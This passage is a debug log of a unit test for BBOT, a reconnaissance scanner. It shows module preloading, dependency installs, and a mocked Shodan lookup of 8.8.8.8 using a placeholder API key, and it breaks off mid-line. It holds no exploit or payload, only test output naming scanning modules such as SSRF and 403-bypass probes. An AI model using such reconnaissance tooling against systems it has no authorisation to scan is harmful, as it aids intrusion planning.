[DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:16:32,111 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:16:32,114 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:16:32,115 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:16:32,116 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:16:32,118 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:16:32,119 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:16:32,120 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:16:32,121 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:16:32,122 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:16:32,123 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:16:32,125 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:16:32,126 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:16:32,127 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:16:32,129 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:16:32,131 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:16:32,132 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:16:32,133 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:16:32,134 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:16:32,136 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:16:32,138 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:16:32,139 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:16:32,140 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:16:32,141 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:16:32,152 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:16:32,153 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:16:32,155 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:16:32,156 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:16:32,158 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:16:32,159 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:16:32,160 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:16:32,161 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:16:32,163 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:16:32,164 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:16:32,166 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:16:32,168 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:16:32,169 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:16:32,170 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:16:32,172 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:16:32,173 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:16:32,174 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:16:32,175 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:16:32,176 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:16:32,177 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:16:32,178 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:16:32,179 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:16:32,180 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:16:32,182 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:16:32,183 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:16:32,184 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:16:32,185 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:16:32,187 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:16:32,188 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:16:32,190 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:16:32,191 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:16:32,192 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:16:32,193 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:16:32,194 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:16:32,196 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:16:32,198 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:16:32,199 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:16:32,200 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:16:32,201 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:16:32,203 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:16:32,205 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:16:32,206 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:16:32,207 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:16:32,208 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:16:32,209 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:16:32,211 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:16:32,214 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:16:32,215 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:16:32,216 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:16:32,218 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:16:32,219 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:16:32,220 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:16:32,221 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:16:32,224 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:16:32,225 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:16:32,227 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:16:32,228 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:16:32,230 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:16:32,231 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:16:32,233 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:16:32,234 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:16:32,235 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:16:32,237 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:16:32,238 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:16:32,239 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:16:32,240 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:16:32,241 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:16:32,242 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:16:32,243 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:16:32,244 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:16:32,246 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:16:32,247 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:16:32,248 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:16:32,249 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:16:32,250 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:16:32,251 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:16:32,252 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:16:32,253 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:16:32,440 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4522850960 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:16:32,440 [DEBUG] filelock _api.py:334 Lock 4522850960 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:16:32,443 [DEBUG] filelock _api.py:364 Attempting to release lock 4522850960 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:16:32,443 [DEBUG] filelock _api.py:367 Lock 4522850960 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:16:33,794 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:16:33,794 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:16:33,795 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:16:33,948 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:16:34,524 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:16:34,525 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:16:34,525 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:16:34,526 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:16:34,749 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:16:34,750 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:16:34,860 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:16:34,861 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:16:34,920 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:16:34,923 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:16:34,924 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:16:35,450 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:16:35,451 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:17:14,661 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:17:14,662 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:17:14,662 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:17:17,445 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:17:17,447 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:17:17,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:17:17,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:17:17,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:17:17,454 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:17:17,454 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:17:17,455 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:17:17,461 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/mqe2o015vi9r9zrvdj67 +2026-02-27 22:17:18,795 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:17:18,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:17:18,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:17:18,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:17:18,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:17:18,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:17:18,800 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:17:18,937 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:17:18,938 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:17:18,938 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:17:18,941 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:17:18,943 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:17:18,943 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:17:18,944 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:17:18,946 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:17:18,947 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:17:18,947 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:17:18,948 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:17:18,948 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:17:18,949 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:17:18,951 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:17:18,951 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:17:18,951 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:17:18,951 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:17:18,952 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:17:19,100 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_wb6yzq686q +2026-02-27 22:17:19,100 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:17:19,219 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:17:19,220 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:17:19,221 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:17:19,222 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 22:17:19,323 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:17:19,324 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:17:19,326 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:17:19,326 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-02-27 22:17:19,327 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 22:17:19,329 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:17:19,329 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:17:19,330 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,331 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:17:19,332 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:17:19,332 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,333 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 22:17:19,333 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,334 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:17:19,335 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:17:19,341 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,342 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 22:17:19,342 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,343 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,343 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 22:17:19,344 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 22:17:19,344 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 22:17:19,344 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 22:17:19,345 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,349 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:17:19,452 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:17:19,456 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 22:17:19,457 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 22:17:19,459 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed 